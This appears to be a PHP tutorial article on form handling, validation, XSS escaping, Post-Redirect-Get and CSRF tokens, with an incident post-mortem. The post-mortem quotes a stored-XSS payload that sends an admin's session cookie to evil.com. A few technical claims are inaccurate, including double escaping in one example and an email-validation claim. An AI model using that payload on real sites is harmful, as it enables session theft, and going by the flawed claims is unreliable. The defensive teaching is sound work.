Senior 5 min · March 06, 2026

PHP Form Input — The XSS Attack That Stole Admin Sessions

A single unescaped comment form stole admin cookies.

N
Naren · Founder
Plain-English first. Then code. Then the interview question.
About
 ● Production Incident 🔎 Debug Guide
Quick Answer
  • PHP automatically populates $_GET or $_POST based on the form's method attribute
  • GET appends data to the URL (bookmarkable) — use for searches and filters
  • POST sends data invisibly in the request body — use for login, orders, and any data modifications
  • htmlspecialchars() is the first line of defense against XSS attacks
  • Server-side validation is mandatory; client-side is just a convenience layer
  • The null coalescing operator (??) prevents undefined index notices on initial page load
Plain-English First

Imagine a paper form at the doctor's office — you fill in your name, date of birth, and symptoms, then hand it to the receptionist who reads it and does something with it. A PHP form works exactly the same way: the HTML page is the paper form, the user fills it in, and when they hit Submit, PHP is the receptionist on the other side who reads every field and decides what to do next. Without this mechanism, websites could only show you information — they could never take any from you.

Almost every useful thing on the web involves a form. Logging into Instagram, searching on Google, buying something on Amazon, leaving a comment — all of it starts with a user typing something and hitting a button. If you want to build anything interactive with PHP, understanding how forms work is not optional, it is the very foundation everything else sits on.

Before PHP (and server-side languages like it), web pages were just static documents — like a poster on a wall. You could look at them but not talk back. PHP solved this by giving the server the ability to receive data from the browser, process it, and respond dynamically. That two-way conversation between the browser and the server is what makes the modern web feel alive.

By the end of this article you will know how to build an HTML form, send its data to a PHP script using both GET and POST methods, read and display that data safely, validate it so bad input gets rejected, and understand the security pitfalls every beginner trips over. You will have working, runnable code you can drop straight into your own project.

How a Form Actually Sends Data to PHP — The Full Picture

Before writing a single line of PHP, you need to understand the journey data takes from the browser to your script. When a user fills out a form and clicks Submit, the browser packages up every field into a request and sends it to the URL specified in the form's action attribute. The method attribute decides HOW that data travels — either stuck onto the URL (GET) or tucked inside the request body (POST).

Think of GET like writing a note on the outside of an envelope — anyone who sees the envelope can read it, and the note becomes part of the address. POST is like putting the note inside a sealed envelope — it still gets delivered, but it is not visible on the outside.

On the PHP side, the language automatically unpacks that envelope for you and stores every field in a special array called a superglobal. If the form used GET, your data lands in $_GET. If it used POST, it lands in $_POST. You do not have to do anything special to make this happen — PHP does it automatically on every single request. Your job is to reach into those arrays and use the values responsibly.

contact_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
// ─────────────────────────────────────────────
// contact_form.php
// A single file that shows the form AND handles
// the submission — this pattern is called a
// 'self-processing form' and is very common.
// ─────────────────────────────────────────────

// Check whether the form has actually been submitted.
// $_SERVER['REQUEST_METHOD'] tells us HOW this page was requested.
// On first load it is 'GET' (just visiting the page).
// After the user clicks Submit it becomes 'POST'.
$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');

$userName    = '';   // Will hold the cleaned name value
$userMessage = '';   // Will hold the cleaned message value
$feedbackToUser = ''; // What we show the user after submission

if ($formWasSubmitted) {
    // htmlspecialchars() converts dangerous characters like < > & into
    // safe display versions. This stops basic XSS attacks.
    // FILTER_DEFAULT trims nothing — we handle that manually.
    $userName    = htmlspecialchars(trim($_POST['name']));
    $userMessage = htmlspecialchars(trim($_POST['message']));

    // trim() removes accidental spaces at the start and end.
    // Without it, '  Alice  ' and 'Alice' would be treated differently.

    $feedbackToUser = "Thanks, $userName! We received your message.";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Contact Us</title>
</head>
<body>

    <h1>Contact Us</h1>

    <?php if ($feedbackToUser !== ''): ?>
        <!-- Only render this block when there IS a message to show -->
        <p style="color: green;"><?= $feedbackToUser ?></p>
    <?php endif; ?>

    <!-- action="" means 'send back to THIS same file' -->
    <!-- method="post" means data goes in the request body, not the URL -->
    <form action="" method="post">

        <label for="name">Your Name:</label><br>
        <!-- The 'name' attribute on each input is the KEY in $_POST -->
        <input type="text" id="name" name="name"
               value="<?= htmlspecialchars($userName) ?>">
        <br><br>

        <label for="message">Your Message:</label><br>
        <textarea id="message" name="message" rows="4" cols="40"
        ><?= htmlspecialchars($userMessage) ?></textarea>
        <br><br>

        <button type="submit">Send Message</button>
    </form>

</body>
</html>
Output
── First visit (no submission) ──────────────────
Shows the blank form. No feedback message.
── After filling in Name: Alice, Message: Hello! ──
Thanks, Alice! We received your message.
[Form re-displays with previous values still filled in]
Why One File?
Using a single file for both the form and its handler (action="") is perfectly valid and very common for small forms. For large apps you would split these into separate files, but for learning, keeping everything together lets you see the full flow in one place.
Production Insight
In production, self-processing forms can complicate error logging — if the page crashes before the form, the user sees a blank page without knowing why.
Separate the display and handler into two files once your form grows beyond three fields.
Better separation means you can log stack traces without exposing raw data to the user.
Key Takeaway
PHP reads form data into $_GET or $_POST automatically.
You choose the method with the form's attribute.
Always access superglobal keys with ?? to avoid undefined index notices.
Choosing Between Self-Processing and Separate Files
IfForm with 1–3 fields, no complex validation
UseSelf-processing file (action="") is fine and simpler to deploy.
IfForm with 4+ fields or database insertion
UseSeparate handler (action="process.php") improves maintainability and error isolation.
IfForm requires file uploads
UseSeparate file is mandatory — mixed concerns create security holes.

GET vs POST — Choosing the Right Method Every Time

This is one of those decisions that matters more than it looks. GET and POST are not just two ways to do the same thing — they are designed for fundamentally different situations, and picking the wrong one causes real problems.

GET appends form data to the URL as a query string, like /search.php?query=shoes&size=10. This is perfect for searches and filters because the URL is now shareable and bookmarkable. Hit refresh and nothing bad happens — you are just re-running the same search. GET requests are also cached by browsers, which can speed things up.

POST sends data invisibly in the request body. Use POST whenever you are changing something — logging in, submitting a comment, placing an order, updating a profile. If you used GET for a login form, the password would appear in the URL, in browser history, and in server logs. That is a serious security issue. POST also avoids the 'double submission' problem: most browsers warn you before resubmitting a POST request, which prevents accidental duplicate orders.

The rule of thumb: GET is for asking questions (reading data). POST is for taking action (writing or changing data).

search_with_get.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
// ─────────────────────────────────────────────
// search_with_get.php
// Demonstrates GET — ideal for a search form
// because the results URL can be bookmarked.
// e.g. /search_with_get.php?keyword=laptop&category=electronics
// ─────────────────────────────────────────────

// isset() checks that the key actually EXISTS in $_GET.
// Without this check, accessing $_GET['keyword'] on a fresh
// page load causes an 'Undefined index' notice.
$searchKeyword = isset($_GET['keyword'])
    ? htmlspecialchars(trim($_GET['keyword']))
    : '';

$selectedCategory = isset($_GET['category'])
    ? htmlspecialchars(trim($_GET['category']))
    : 'all';

// Simulate a product list (in a real app this comes from a database)
$allProducts = [
    ['name' => 'Laptop Pro 15',   'category' => 'electronics'],
    ['name' => 'Wireless Mouse',  'category' => 'electronics'],
    ['name' => 'Running Shoes',   'category' => 'footwear'],
    ['name' => 'Leather Boots',   'category' => 'footwear'],
];

// Filter products based on the search input
$matchingProducts = array_filter($allProducts, function($product) use ($searchKeyword, $selectedCategory) {
    $nameMatches     = ($searchKeyword === '' || stripos($product['name'], $searchKeyword) !== false);
    $categoryMatches = ($selectedCategory === 'all' || $product['category'] === $selectedCategory);
    return $nameMatches && $categoryMatches;
});
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Product Search</title></head>
<body>

<h1>Search Products</h1>

<!-- method="get" — results URL becomes shareable/bookmarkable -->
<form action="" method="get">

    <label for="keyword">Search:</label>
    <!-- value= re-fills the box after submission so user sees what they typed -->
    <input type="text" id="keyword" name="keyword"
           value="<?= $searchKeyword ?>" placeholder="e.g. laptop">

    <label for="category">Category:</label>
    <select id="category" name="category">
        <option value="all"      <?= $selectedCategory === 'all'         ? 'selected' : '' ?>>All</option>
        <option value="electronics" <?= $selectedCategory === 'electronics' ? 'selected' : '' ?>>Electronics</option>
        <option value="footwear"    <?= $selectedCategory === 'footwear'    ? 'selected' : '' ?>>Footwear</option>
    </select>

    <button type="submit">Search</button>
</form>

<hr>
<h2>Results</h2>

<?php if (empty($matchingProducts)): ?>
    <p>No products found. Try a different search.</p>
<?php else: ?>
    <ul>
        <?php foreach ($matchingProducts as $product): ?>
            <!-- Each result is safely echoed — already sanitised above -->
            <li><?= $product['name'] ?> <em>(<?= $product['category'] ?>)</em></li>
        <?php endforeach; ?>
    </ul>
<?php endif; ?>

</body>
</html>
Output
── URL after searching 'shoe' in All categories ──
/search_with_get.php?keyword=shoe&category=all
Results:
• Running Shoes (footwear)
── URL after searching '' in electronics ──
/search_with_get.php?keyword=&category=electronics
Results:
• Laptop Pro 15 (electronics)
• Wireless Mouse (electronics)
Watch Out: Never Use GET for Passwords or Sensitive Data
If your login form uses method="get", the password appears in the URL bar, gets saved in browser history, and lands in your web server's access logs in plain text. Always use POST for login, registration, payment, and any form that handles sensitive information.
Production Insight
In production, mixing GET and POST can lead to confusing debugging — a search form accidentally set to POST won't be bookmarkable, but no error is thrown.
Pro tip: use GET for idempotent queries and POST for state-changing operations.
Also note: some CDNs cache GET responses aggressively — dynamic search results should use cache-busting headers or switch to POST for non-cached results.
Key Takeaway
GET = read, POST = write.
Never put sensitive data in GET URLs.
Use POST for any action that creates, updates, or deletes resources.
Method Selection Guide
IfData is read-only (search, filter, pagination)
UseUse GET — URLs are shareable, cacheable, and safe to refresh.
IfData changes state (login, order, delete)
UseUse POST — data is hidden from URL, no accidental resubmission warning.
IfForm includes file upload
UseUse POST with enctype="multipart/form-data".

Validating User Input — Never Trust What the Browser Sends

Here is the most important mindset shift in all of web development: treat every piece of data from a form as potentially hostile until you have checked it yourself. Users make typos. Some users are malicious. Either way, your PHP script has to decide what counts as valid input and reject everything that does not meet that standard.

Validation happens on two levels. Client-side validation (HTML required, type="email", etc.) gives users instant feedback without a page reload — great for user experience. But it is trivially bypassed: anyone can open browser dev tools and remove the required attribute, or send a raw HTTP request with no browser at all. Server-side validation in PHP is the real gatekeeper, and it is non-negotiable.

For each field, ask yourself three questions: Is it present? Is it the right type/format? Is it within acceptable limits? PHP gives you powerful tools for this: empty() to catch blank values, filter_var() to validate emails and URLs, strlen() for length checks, and preg_match() for pattern matching. Doing these checks consistently is what separates a toy project from a production-ready application.

registration_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
// ─────────────────────────────────────────────
// registration_form.php
// Full server-side validation example.
// Shows how to collect errors and re-display
// the form with helpful messages.
// ─────────────────────────────────────────────

$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');

// Store all validation error messages here.
// Key = field name, Value = error string.
$validationErrors = [];

// Keep old input so the form re-fills after a failed submission.
// The user should NOT have to retype everything just because one
// field was wrong — that is a terrible user experience.
$oldInput = [
    'username' => '',
    'email'    => '',
    'age'      => '',
];

if ($formWasSubmitted) {

    // ── Collect raw values ──────────────────────────────
    // We store raw (unsanitised) values in $oldInput so we
    // can re-fill the form. We sanitise later, after validation.
    $rawUsername = trim($_POST['username'] ?? '');
    $rawEmail    = trim($_POST['email']    ?? '');
    $rawAge      = trim($_POST['age']      ?? '');

    $oldInput = [
        'username' => htmlspecialchars($rawUsername),
        'email'    => htmlspecialchars($rawEmail),
        'age'      => htmlspecialchars($rawAge),
    ];

    // ── Validate: Username ──────────────────────────────
    if (empty($rawUsername)) {
        $validationErrors['username'] = 'Username is required.';
    } elseif (strlen($rawUsername) < 3 || strlen($rawUsername) > 20) {
        $validationErrors['username'] = 'Username must be 3–20 characters.';
    } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $rawUsername)) {
        // Only letters, numbers, and underscores allowed
        $validationErrors['username'] = 'Username can only contain letters, numbers and underscores.';
    }

    // ── Validate: Email ─────────────────────────────────
    if (empty($rawEmail)) {
        $validationErrors['email'] = 'Email address is required.';
    } elseif (!filter_var($rawEmail, FILTER_VALIDATE_EMAIL)) {
        // FILTER_VALIDATE_EMAIL returns false if the format is invalid
        $validationErrors['email'] = 'Please enter a valid email address.';
    }

    // ── Validate: Age ───────────────────────────────────
    if (empty($rawAge)) {
        $validationErrors['age'] = 'Age is required.';
    } elseif (!ctype_digit($rawAge)) {
        // ctype_digit() returns true ONLY if every character is 0-9
        // This rejects '25.5', '-1', '25abc' etc.
        $validationErrors['age'] = 'Age must be a whole number.';
    } elseif ((int)$rawAge < 13 || (int)$rawAge > 120) {
        $validationErrors['age'] = 'Age must be between 13 and 120.';
    }

    // ── Only proceed if zero errors ─────────────────────
    if (empty($validationErrors)) {
        // At this point data is valid. Safe to use.
        $cleanUsername = htmlspecialchars($rawUsername);
        $cleanEmail    = filter_var($rawEmail, FILTER_SANITIZE_EMAIL);
        $cleanAge      = (int)$rawAge;

        // In a real app: save to database, send welcome email, etc.
        // For now, just show a success message.
        echo "<!DOCTYPE html><html><body>";
        echo "<h1>Registration Successful!</h1>";
        echo "<p>Welcome, <strong>$cleanUsername</strong>! ";
        echo "We sent a confirmation to $cleanEmail.</p>";
        echo "</body></html>";
        exit; // Stop further output — do not show the form again
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Register</title>
<style>
    .error { color: red; font-size: 0.9em; }
    label  { display: block; margin-top: 12px; font-weight: bold; }
    input  { padding: 6px; width: 250px; }
</style>
</head>
<body>

<h1>Create an Account</h1>

<form action="" method="post" novalidate>
    <!-- novalidate disables browser validation so PHP is the sole gatekeeper -->

    <label for="username">Username</label>
    <input type="text" id="username" name="username"
           value="<?= $oldInput['username'] ?>">
    <!-- Show error only if this field has one -->
    <?php if (isset($validationErrors['username'])): ?>
        <span class="error"><?= $validationErrors['username'] ?></span>
    <?php endif; ?>

    <label for="email">Email Address</label>
    <input type="email" id="email" name="email"
           value="<?= $oldInput['email'] ?>">
    <?php if (isset($validationErrors['email'])): ?>
        <span class="error"><?= $validationErrors['email'] ?></span>
    <?php endif; ?>

    <label for="age">Age</label>
    <input type="number" id="age" name="age"
           value="<?= $oldInput['age'] ?>">
    <?php if (isset($validationErrors['age'])): ?>
        <span class="error"><?= $validationErrors['age'] ?></span>
    <?php endif; ?>

    <br><br>
    <button type="submit">Register</button>
</form>

</body>
</html>
Output
── Submitting: username='Al', email='notanemail', age='abc' ──
[Form re-displays with all three fields re-filled]
Username → Username must be 3–20 characters.
Email → Please enter a valid email address.
Age → Age must be a whole number.
── Submitting: username='Alice_99', email='alice@example.com', age='28' ──
Registration Successful!
Welcome, Alice_99! We sent a confirmation to alice@example.com.
Pro Tip: Validate First, Sanitise Second
Always validate before you sanitise. Sanitising changes the data (e.g. stripping characters), which can mask whether the original input was actually valid. Validate the raw input, reject it if it fails, then sanitise whatever passes before you store or display it.
Production Insight
In production, validation errors often surface as 500 errors when unexpected input types are submitted (e.g., passing an array for a string field).
Use filter_var with FILTER_VALIDATE_* before type assertions to catch these gracefully.
Log validation failures to a monitoring system to detect probing attacks — repeated failures from the same IP are a red flag.
Key Takeaway
Treat all input as hostile.
Check presence, format, and bounds.
Validate raw, sanitise after — never trust the browser.
Validation Approach Decision
IfField is always required
UseCheck with empty() after trim() — empty string, '0', null are all considered empty.
IfField type is email
UseUse filter_var($input, FILTER_VALIDATE_EMAIL) — it follows RFC 5321.
IfField must be integer within a range
UseUse ctype_digit() first, then cast to int and compare with >= and <=.

Input Filtering and Sanitisation — When Validation Passes But Data Is Still Dangerous

Validation tells you the input is the right shape. But even valid input can contain dangerous content. For example, a perfectly valid email address like <script>alert(1)</script>@x.com would pass filter_var(FILTER_VALIDATE_EMAIL) — yes, it's technically a valid RFC-compliant email. But if you echo that back into HTML, you've got an XSS vulnerability.

Sanitisation transforms the data into a safe form without necessarily rejecting it. PHP provides htmlspecialchars() for HTML output, filter_var($email, FILTER_SANITIZE_EMAIL) to strip invalid characters from emails, and strip_tags() to remove HTML tags (though use with caution — it can be bypassed if not combined with encoding).

The key difference: validation rejects bad data, sanitisation scrubs data that is structurally valid but still unsafe for a given context. You need both. And you need to sanitise for the output context — what is safe for a database is not safe for an HTML page, which is not safe for a JSON API.

sanitise_example.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// ─────────────────────────────────────────────
// sanitise_example.php
// Demonstrates safe sanitisation before output
// and before database storage.
// ─────────────────────────────────────────────

$rawDescription = $_POST['description'] ?? '';

// Step 1: validate basic structure (e.g., not too long)
if (strlen($rawDescription) > 500) {
    die('Description too long.');
}

// Step 2: sanitise for HTML output (always)
$safeForHTML = htmlspecialchars($rawDescription, ENT_QUOTES, 'UTF-8');

// Step 3: sanitise for database storage (strip any SQL-metacharacters)
// Escaping is done by prepared statements, but you can also strip tags
$safeForDB = strip_tags($rawDescription);  // removes HTML/script tags

// Later, when displaying:
echo "<p>$safeForHTML</p>";

// When storing:
// $stmt->bindParam(':desc', $safeForDB);
// (Prepared statements handle the rest.)
?>

<form method="post">
    <textarea name="description"><?= $safeForHTML ?></textarea>
    <button type="submit">Submit</button>
</form>
Sanitisation Depends on Context
htmlspecialchars() is safe for HTML. But if you are echoing into a JavaScript string, you need different escaping (e.g., json_encode()). For SQL, use prepared statements, not manual escaping. Always sanitise for the context where the data will be used.
Production Insight
A common production mistake: using strip_tags() as the only sanitisation and thinking it's enough.
strip_tags() does not remove event handlers like onmouseover — you still need htmlspecialchars() for output.
In one incident, an attacker used a crafted email with HTML entities that bypassed strip_tags but rendered when output without htmlspecialchars, leading to stored XSS.
Always use htmlspecialchars as the final step before HTML output.
Key Takeaway
Valid input can still be dangerous.
Sanitise for the output context.
htmlspecialchars is for HTML, prepared statements are for SQL.
Sanitisation Strategy by Output Context
IfData will be echoed into HTML body or attribute
UseUse htmlspecialchars($data, ENT_QUOTES, 'UTF-8') — the universal default.
IfData will be echoed into a JavaScript string
UseUse json_encode($data) or rawurlencode() depending on context — never just htmlspecialchars.
IfData will be stored in a database via SQL
UseUse prepared statements with PDO or MySQLi — no manual escaping needed.

The Post-Redirect-Get Pattern — Stop Double Submissions in Production

Here's a scenario every developer has faced: a user submits a form, the order goes through, and then they refresh the page. The browser warns 'Confirm resubmission'. If the user clicks confirm, the order is submitted again — duplicate record, double charge, angry customer.

The Post-Redirect-Get (PRG) pattern solves this. After successfully processing a POST request, the server sends a 302 redirect to a GET URL (often the same page with a success parameter). The browser then issues a new GET request. If the user refreshes now, they just reload the GET page — no resubmission.

Implementing PRG in PHP is straightforward: after validation passes and the action is complete, call header('Location: success.php') and exit. The user lands on a separate page that cannot be resubmitted by a refresh.

order_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// ─────────────────────────────────────────────
// order_form.php
// Demonstrates Post-Redirect-Get pattern.
// ─────────────────────────────────────────────

session_start();

$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');

if ($formWasSubmitted) {
    // Validate and process the order...
    $productId = $_POST['product_id'] ?? '';
    // (validation omitted for brevity)

    // Process the order (save to database, charge card, etc.)
    // ...

    // Store success message in session for display after redirect
    $_SESSION['order_success'] = "Order placed successfully!";

    // Redirect to the same page (or a success page)
    header('Location: order_form.php?status=success');
    exit; // Ensure no further output
}

$statusMessage = '';
if (isset($_GET['status']) && $_GET['status'] === 'success') {
    // Retrieve flash message from session
    if (isset($_SESSION['order_success'])) {
        $statusMessage = $_SESSION['order_success'];
        unset($_SESSION['order_success']); // Clean up
    }
}
?>
<!DOCTYPE html>
<html>
<head><title>Place Order</title></head>
<body>

<?php if ($statusMessage): ?>
    <p style="color:green;"><?= htmlspecialchars($statusMessage) ?></p>
<?php endif; ?>

<form method="post" action="">
    <label>Product ID: <input type="text" name="product_id" required></label>
    <button type="submit">Place Order</button>
</form>

</body>
</html>
Always exit After header()
After sending a Location header, you must call exit (or die) to stop script execution. Otherwise, the rest of the code may still run, potentially processing the form twice before the redirect happens.
Production Insight
In production, PRG is non-negotiable for any write operation.
A payment gateway integration without PRG led to 12 duplicate charges in one hour because users hitting back and resubmit triggered new payments.
Also, use flash messages (session-based) to pass success info to the redirected page — avoid passing sensitive data in the URL query string of the redirect.
Key Takeaway
After successful POST, always redirect via GET.
PRG prevents duplicate submissions.
Use session flash for success messages, never put them in the redirect URL.
When to Apply PRG
IfForm performs a database INSERT or UPDATE
UseAlways redirect after success — PRG is mandatory.
IfForm sends an email (contact form)
UseRedirect to avoid duplicate emails on refresh.
IfForm is a search or filter (GET method)
UseNo need for PRG — GET requests are idempotent by design.

Advanced Security: Preventing CSRF, SQL Injection, and Session Hijacking in Forms

You've validated and sanitised input, but your form is still vulnerable to other attacks. Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing an action they didn't intend — like changing their email or transferring money. SQL injection happens when unsanitised data is concatenated into SQL queries. And if you store session data poorly, an attacker can hijack a user's session.

CSRF prevention: include a unique, random token in every form that processes data. The token is stored in the user's session and validated on submission. Laravel and Symfony handle this automatically with middleware. In raw PHP, generate a token with bin2hex(random_bytes(32)) and compare.

SQL injection: never use string interpolation in SQL queries. Use prepared statements (PDO or MySQLi). If you are using mysqli::prepare, you're safe.

Session hijacking: regenerate session ID after login (session_regenerate_id()), use HTTPS, and set the session cookie with HttpOnly and Secure flags.

secure_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// ─────────────────────────────────────────────
// secure_form.php
// A form with CSRF protection and safe DB access.
// ─────────────────────────────────────────────

session_start();
$errors = [];

// Generate CSRF token if not existing
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // CSRF check
    $submittedToken = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) {
        $errors[] = 'Invalid or expired form token. Please submit again.';
    }

    // Validate other fields...
    $email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL);
    if (!$email) {
        $errors[] = 'Invalid email.';
    }

    if (empty($errors)) {
        // Safe database insertion using PDO prepared statement
        $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
        $stmt = $pdo->prepare('INSERT INTO subscriptions (email) VALUES (:email)');
        $stmt->execute(['email' => $email]);

        // Regenerate token after successful use to prevent replay
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

        header('Location: secure_form.php?success=1');
        exit;
    }
}
?>
<form method="post">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <label>Email: <input type="email" name="email" required></label>
    <button type="submit">Subscribe</button>
</form>

<?php foreach ($errors as $error): ?>
    <p style="color:red;"><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>
CSRF Token Comparison: Use hash_equals()
Always compare CSRF tokens using hash_equals($_SESSION['csrf_token'], $submittedToken). Simple == comparison is vulnerable to timing attacks — hash_equals takes constant time regardless of the match result.
Production Insight
In production, CSRF tokens should be tied to a user session and expire after a certain time (e.g., 30 minutes).
Never expose the token in the URL via GET forms — always use POST with hidden fields.
One financial site failed to regenerate CSRF tokens after submission, allowing an attacker to reuse a single token for multiple forged requests until the token expired.
Key Takeaway
Validate, sanitize, protect.
CSRF tokens stop forged submissions.
Prepared statements stop SQL injection.
Session hygiene stops hijacking.
Security Layer Decision
IfForm modifies data (POST) and users are logged in
UseImplement CSRF protection with per-session tokens.
IfForm interacts with a database
UseUse prepared statements (PDO or MySQLi) — never raw concatenation.
IfYou handle user login or sensitive data
UseRegenerate session ID on login, use HTTPS, and set session cookie flags.
● Production incidentPOST-MORTEMseverity: high

The Unvalidated Comment Form That Leaked Admin Credentials

Symptom
Users reported strange redirects to malicious sites after logging in. Admin panel showed unexpected account activity.
Assumption
The form only used client-side validation with HTML attributes; the team assumed browser-level checks were sufficient.
Root cause
The comment form echoed user input directly into HTML without htmlspecialchars(). The attacker injected <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. When an admin viewed the comment in the dashboard, the script executed and sent their session cookie to the attacker.
Fix
Wrap all output with htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering. Add server-side validation that strips or encodes HTML tags. Implement Content Security Policy (CSP) headers to block inline scripts.
Key lesson
  • Never echo raw user input — htmlspecialchars() is not optional, it's the cost of entry for any PHP form.
  • Client-side validation is a UX feature, not a security boundary. Assume every request can come from curl with no browser.
  • CSP headers add a second layer of defense — even if XSS slips through, the script won't execute.
Production debug guideCommon production issues with form submissions and the exact commands to diagnose them.4 entries
Symptom · 01
Form submission results in blank page (white screen of death)
Fix
Check PHP error log: tail -100 /var/log/apache2/error.log. Enable error display temporarily: error_reporting(E_ALL); ini_set('display_errors', 1);. Look for parse errors or undefined index.
Symptom · 02
Data sent via POST but $_POST is empty
Fix
Verify the form's enctype is not set to multipart/form-data (only for file uploads). Check if the request body is too large: php_value post_max_size in .htaccess or php.ini. var_dump(file_get_contents('php://input')) to see raw body.
Symptom · 03
$_GET values appear but form says method='post'
Fix
Check the form HTML for typos in method attribute (e.g., 'post' vs 'post '). Use browser DevTools Network tab to inspect the request method. Additionally, check for URL rewriting that may append query strings.
Symptom · 04
Validation works locally but fails on production
Fix
Compare PHP versions — older PHP may have different behavior for filter_var or ctype_digit. Check if magic_quotes_gpc is enabled (deprecated but still present in some configs). Verify the production error log for warnings about undefined array keys.
★ PHP Form Debugging Cheat SheetFive-minute diagnostics when a form submission goes wrong in production.
Form submitted but no feedback shown
Immediate action
Check the browser's Network tab — verify the request method and URL.
Commands
<?php var_dump($_POST); ?> at the top of the handler to see what PHP received.
tail -f /var/log/apache2/error.log (or php-fpm log) to catch errors.
Fix now
Ensure the form action attribute matches the correct URL. If self-processing, action="" is fine.
Undefined index notice on first page load+
Immediate action
Replace all $_POST['field'] with $_POST['field'] ?? ''.
Commands
Search the codebase for $_POST or $_GET accesses not guarded by isset() or the ?? operator.
Enable E_NOTICE on local dev: error_reporting(E_ALL); ini_set('display_errors', 1);
Fix now
Use the null coalescing operator: $value = $_POST['email'] ?? '';
Script injection (XSS) suspected+
Immediate action
Check if any user-submitted content is echoed without htmlspecialchars().
Commands
grep -rn 'echo.*$_' *.php | grep -v 'htmlspecialchars' to find unescaped output.
Temporarily add header('Content-Security-Policy: default-src \'self\''); to block inline scripts.
Fix now
Wrap every echo of user data: echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
GET vs POST — Complete Comparison
Feature / AspectGET MethodPOST Method
Data locationAppended to the URL (?key=value)Sent in the request body, not visible in URL
Bookmarkable / ShareableYes — URL captures the full stateNo — data is not in the URL
Browser back/refreshSafe — just re-runs the same requestBrowser warns before re-submitting
Data size limit~2,000 characters (URL length limit)Effectively unlimited (server config dependent)
Security for sensitive dataPoor — visible in URL, logs, historyBetter — not stored in URL or browser history
Caching by browser/proxyYes — responses can be cachedNo — POST responses are not cached
PHP superglobal used$_GET$_POST
Typical use caseSearch forms, filters, paginationLogin, registration, payments, file uploads
Idempotent (safe to repeat)?Yes — repeating has no side effectsNo — repeating could create duplicate records

Key takeaways

1
PHP automatically parses submitted form data into $_GET or $_POST
you choose which one by setting method='get' or method='post' on the HTML form element.
2
Use GET for read-only operations (search, filter) because the URL is shareable and repeatable. Use POST for any action that writes, updates, or deletes data
and always for passwords.
3
Never echo $_GET or $_POST values directly into HTML
always wrap them in htmlspecialchars() first. Skipping this one step is the root cause of most XSS vulnerabilities in beginner PHP apps.
4
Server-side validation is non-negotiable. HTML required attributes and input types are a UX tool only
any user or bot can bypass them entirely. PHP must independently verify every value before trusting it.
5
Apply the Post-Redirect-Get pattern after every successful POST to prevent duplicate submissions.
6
Add CSRF tokens to forms that perform state-changing actions on behalf of authenticated users.

Common mistakes to avoid

4 patterns
×

Echoing superglobal values directly without sanitising

Symptom
A user submits a name field containing <script>alert('XSS')</script>. The script executes in the browser of any admin who views the submission, leading to session theft or defacement.
Fix
Always wrap output with htmlspecialchars($value, ENT_QUOTES, 'UTF-8') before echoing. Never trust that input is safe even if validated as 'correct format'.
×

Not checking isset() before accessing a superglobal key

Symptom
On the first page load, you try to access $_POST['email'] which doesn't exist yet. PHP throws an 'Undefined index' notice and the page may show unexpected output or break if error display is on.
Fix
Use the null coalescing operator: $email = $_POST['email'] ?? ''; Or wrap in isset($_POST['email']) check. The ?? pattern is cleaner and works for both GET and POST.
×

Trusting client-side validation as the only protection

Symptom
You add required and type='email' to inputs. A user bypasses the browser by submitting via curl with a malicious payload. The form inserts dangerous data that could crash your app or corrupt the database.
Fix
Treat HTML validation as a UX convenience only. Every field must also be validated in PHP on the server side before you use or store the value. The browser is not your security layer.
×

Not implementing Post-Redirect-Get (PRG) pattern

Symptom
User submits a payment form, then refreshes the page. The browser resubmits POST data, creating duplicate orders and double charges.
Fix
After successful POST processing, redirect to a GET URL (e.g., header('Location: success.php') and exit). This prevents resubmission on refresh.
INTERVIEW PREP · PRACTICE MODE

Interview Questions on This Topic

Q01JUNIOR
